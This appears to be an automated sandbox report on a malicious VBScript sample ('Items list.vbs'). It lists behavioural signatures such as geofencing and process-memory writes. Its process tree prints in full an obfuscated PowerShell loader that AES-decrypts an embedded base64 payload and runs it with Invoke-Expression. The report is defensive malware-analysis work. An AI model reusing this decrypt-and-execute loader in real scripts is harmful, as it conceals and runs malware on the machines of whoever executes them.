Analysis
- max time kernel
99s - max time network
108s - platform
windows10-2004_x64 - resource
win10v2004-20231130-en - resource tags
- submitted
04/12/2023, 09:24
General
- Target Items list.vbs
- Size 159KB
- Sample231204-lc2m4aac48
- SHA256 cf6803e262a70ac75b085d41b2e50567f1c8dfee0e879c5b1dc450b966709218
Score
7/10
Malware Config
Signatures
- Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Suspicious behavior: EnumeratesProcesses 2 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of WriteProcessMemory 2 IoCs
Processes
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Items list.vbs"1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command function Decrypt-AESEncryption{Param([String]$CBGNKODNPÇ,[String]$Keygfhfghfgiy)$OGjnLfnOaç = New-Object System.Security.Cryptography.AesManaged;$OGjnLfnOaç.Mode = [System.Security.Cryptography.CipherMode]::CBC;$OGjnLfnOaç.Padding = [System.Security.Cryptography.PaddingMode]::Zeros;$OGjnLfnOaç.BlockSize = 128;$OGjnLfnOaç.KeySize = 256;$OGjnLfnOaç.Key = (New-Object System.Security.Cryptography.SHA256Managed).ComputeHash([System.Text.Encoding]::UTF8.GetBytes($Keygfhfghfgiy));$BxwZvbgNLo = [System.Convert]::FromBase64String($CBGNKODNPÇ);$OGjnLfnOaç.IV = $BxwZvbgNLo[0..15];$decryptor = $OGjnLfnOaç.CreateDecryptor();$geLJgUoUQL = $decryptor.TransformFinalBlock($BxwZvbgNLo, 16, $BxwZvbgNLo.Length - 16);$OGjnLfnOaç.Dispose();return [System.Text.Encoding]::UTF8.GetString($geLJgUoUQL).Trim([char]0)}$qROuE = '71971727681624409084';$MqDDxKjJmA = 'usaE+hZdBxPyk+w4I2eyfOPlI5JbTZ/kQWMOZOKzw/3Mu8ao2LQGyO+oeWLduyB+FAwggcQr9UNU7qkZ8rX7U2ZAKrMqdBBAUgty8BWaMcxlK9w9KScrfTYViYDpjOjxQChovBrbKZqK76bwwyTo8K5eIujn8CX4Vn4NLP/kAaVWAqIpWIa9uFs5wlHWJ8SMS2dHtPbeSDlJBuOh+G0Vbcv8oUNn9OMCSa2ZwsJBLzvbWco0D0jG4LI/tuys8oyTkTzviLsPBRJaAVFa6xm6OD74q7/yCeblWJNf/VsH7Tomkb9IlttFt4lQT5pquwTL9RAEbkA3I8Ui+5bGQL0DIFV9/mAmqZZf/b2RMcC/6AU274stgBN1WSd9BnYCL/oCAtoh1d56pgqCbSu3rngeViLsjZpu2eAUQr8SiVAX8dP0QvkIpYG4f9dgbD7IRtLF76NA8kivJnGiWwrb7Fmbd6EzdRQfPUIDS2iJqZU8PhwDNJHhrm5eLiprohlcemnA0wNE7YXE9iQBF7DfkEyUZH/7RboY1pIsCpopKkCiVVP5iZgDU3Dt4oh8mfkjkwETlJF556Ezqh6ir4G5F7aOWblBeAqQV2RyWcjMbWmstNt8T0ke3eo0LRL2axD7ZU0rOPE6Wfc3jXhCNovxA6Bj1ofPBJLrk8YciArkjnPZ19bid1eghVMv1DTYBPoSFWe17qJpJC3jShEjVPZLj2q0p0qjO67PL934J7iNfrxcU931PhNeR3FgufMFZ2SrRg40E8gehpEX/R+pWxAzf9Mg3eJlbG88FEbOq3cBijdW+isRpdR0DQA1hwwZ1pRh1D5AgKQsf6hFRPqv7n6eUsGbZi16emmrMpL86NDVbCfe09U0lH9efT/IG/kaEtDhx6ZhucxV4MeeuUyDENOwfVabs6+8GgY/BNCHab/DOCsZFID23+qC6Y66R2eOhVheh4q4gAZ20Y9X3KyhrQK70mnu/8E1qprMRkvmGNXHr9xhxvV5DP5oyZvWgwR4XdMdewBMwyMVcoFcbKOLEeqURa06lBdpyHSw8nNqX9d+r6pQ+r4ialv/7AQDnApDAHi8usZ06V3rzV+P0hKYBRg8DGSk/8bh2/0zk3IUoR5F+r46epBL16RWm4tVz4KfuTumWeTNNCN8nk1B81iNubnPmKDjcOU9ZlbW/Cows107tZbKugNpcHMYursbYFzS8QWAjlcG6OUJdHZB71+TupwdxhJORQZ1NalbnhAqIfyo+fRhFVGeUwdQSWlqmvxRCHbZLYYkKORG0BHyhQlQOZ7OaULOGmsNSE6t7FS0sXvB7hO0whQIW/2UJiz0mREr06v/3Dq2sBTKDjSOPwAvhyC5OeIUxTcTp7vHMmPBgnnnvA0AUNYDGLpRtI8DJiQ/jkG5joG7TgqGSGDhMYo8eVC0FsQrv+sh3u1AaGXK40IcDcZNjSEQm5JSsSRWCuwzOQMZOdQQbqt8eg8BOaP9zd272mSRhoI+q+z7kWGXbQawIMHaV5zRtzsswVVJj2NDpz8OqeCcg/Vqcn7aFYm1Wk9psZnZIH+YNubkpPwAu2XsicHN4Cvitj1Mr61ddNg98KGX3skP92/LPuMb+6T8a4QitWkLktVdMxrEoTJh+FaIq4JMWGasSxVUPKoGF5dYPF0q78auzW21BCO+3WHvW9krn5n2gENQWvg86oPYnk80TpdGaP6NXOeQzpnZ9E64PIK94vUnDWNfLiKzXCOzJTrOtuDkDpQ0wz0oJm7BfYxwOS+LziT+xlqDhmJLop440o3Shi9EpGCQVWdDjkj59uzY/lXoQevQMbeFI7a9Z0zEcrtYDLpLB5ZM8XsCgr8U1gzc9iCmbJ1aDYVl26EPesRJuNieylRh1ut+tVHMMjlxjvrt0fKCNEu73k1akzxy0PrLLNUgk2RoIHKjRXsThY/7t0Gq7nnd6tmf7X/NiuC73dpRWGmUFnmnb3ao5uVR6PaDNhXz';$GmtBWLkcKU = Decrypt-AESEncryption -CBGNKODNPÇ $MqDDxKjJmA -Key $qROuE;Invoke-Expression $GmtBWLkcKU2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
__PSScriptPolicyTest_ldyfq4wg.u4l.ps1
memory/4796-0-0x0000024C7BBE0000-0x0000024C7BC02000-memory.dmp
memory/4796-10-0x00007FFF09AF0000-0x00007FFF0A5B1000-memory.dmp
memory/4796-11-0x0000024C79B30000-0x0000024C79B40000-memory.dmp
memory/4796-12-0x0000024C79B30000-0x0000024C79B40000-memory.dmp
memory/4796-13-0x0000024C79B30000-0x0000024C79B40000-memory.dmp
memory/4796-14-0x0000024C79B30000-0x0000024C79B40000-memory.dmp
memory/4796-17-0x00007FFF09AF0000-0x00007FFF0A5B1000-memory.dmp